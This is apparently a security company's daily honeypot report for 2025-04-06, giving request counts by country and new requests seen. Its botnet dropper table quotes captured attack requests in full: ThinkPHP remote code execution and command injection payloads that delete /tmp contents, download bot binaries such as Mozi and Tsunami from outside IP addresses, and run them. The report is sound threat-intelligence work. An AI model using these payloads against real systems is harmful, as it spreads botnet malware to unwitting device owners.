↓Skip to main content
Shoggoth Industries - Security Blog
  1. Daily-Posts/

Report: 2025-04-06

·510 words·
Repport Daily
Author
Shoggoth Industries
Table of Contents

Daily Report: 2025-04-06
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

executive_summary
#

In today’s repport, we detected 12 stage 1 IP address(es), linked to 8 dropper URL(s).

There are 14 new requests that have never been observed before (these were added to the monitored request database.).

A total of 1678 requests were recorded during the day, originating from 12 different countries, with a peak of 475 requests coming from GB.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_countrytargeted_country
USGermany
SGGermany
SGGermany
USGermany
PTDubai
GBDubai
GRDubai

botnet_dropper_behaviour
#

remote_addrrequest
117.72.64.87GET /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws HTTP/1.1
92.46.231.58GET /shell?cd+/tmp;rm+-rf+*;wget+http://92.46.231.58:47963/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
31.170.22.205GET /cgi-bin/live_api.cgi?page=satellite_list&id=&ip=$(cd+/tmp;wget+http://31.170.22.205/dl18;busybox+wget+http://31.170.22.205/dl18;sh+dl18) HTTP/1.1
36.41.184.119GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1
123.157.136.106GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://5.255.115.56/x86_64 -O /tmp/.phpdsds; chmod 777 /tmp/.phpdsds; /tmp/.phpdsds php.x86’ HTTP/1.1
27.128.156.189GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://5.255.115.56/x86_64 -O /tmp/.phpdsds; chmod 777 /tmp/.phpdsds; /tmp/.phpdsds php.x86’ HTTP/1.1
84.2.63.245GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1
60.249.212.60GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.84.71.195/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1
61.61.62.201GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1
217.160.89.196GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://45.137.70.156/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1
58.96.82.116GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1
92.52.235.131GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

number_of_occurencerequest
254GET http://ip-api.com/json/ HTTP/1.1
2032info
2271*IDN?
4261\x00\x0E8\x9B\xD9\xA2\xD6\xAE\x01\x97\x0F\x00\x00\x00\x00\x00
4431GET /socket.io/1/?t=1743975286971 HTTP/1.1
4651GET /BFqc HTTP/1.1
4681\x00\x0E83\xBA\x06\x1A\xE0\x15Je\x00\x00\x00\x00\x00
4751GET /cha0 HTTP/1.1
5151POST /ucmdb-ui/cms/loginRequest.do;?customerID=1&isEncoded=false&userName=diagnostics&password=YWRtaW4=&ldapServerName=UCMDB HTTP/1.1
5201\x00\x0E8Q\x10\x86OX\xA3\x22\xA6\x00\x00\x00\x00\x00
5371\x00\x0E8\xC6\xB4’\x09\xA8\xD8\x82\x9A\x00\x00\x00\x00\x00
5681GET /DjMa HTTP/1.1
5941GET /OExP HTTP/1.1
6161\x00\x0E8(\x07\xE1\xD8\xCCX\x9A;\x00\x00\x00\x00\x00

country_iso_code
#

number_of_occurencecountry_iso_code
0475GB
1196NL
2138US
3117BG
4105IL
581DE
674PL
762CN
855SC
949SG
1040PT
1136GR
1228AZ
1324JP
1421NG
1519UA
1617HK
1717ID
1815LV
1914IN
2012CH
219CA
228FR
238VN
247LT
256BE
265RU
274MD
284AO
294HR
304HU
312IT
322ES
332AU
342BR
352KR
362EC
372GH
382TW
392AR
401ZA
411MC
421CZ
431AE
441NO
451KZ

Related

Report: 2025-04-05
·622 words
Repport Daily
Report: 2025-04-04
·1256 words
Repport Daily
Report: 2025-04-03
·1054 words
Repport Daily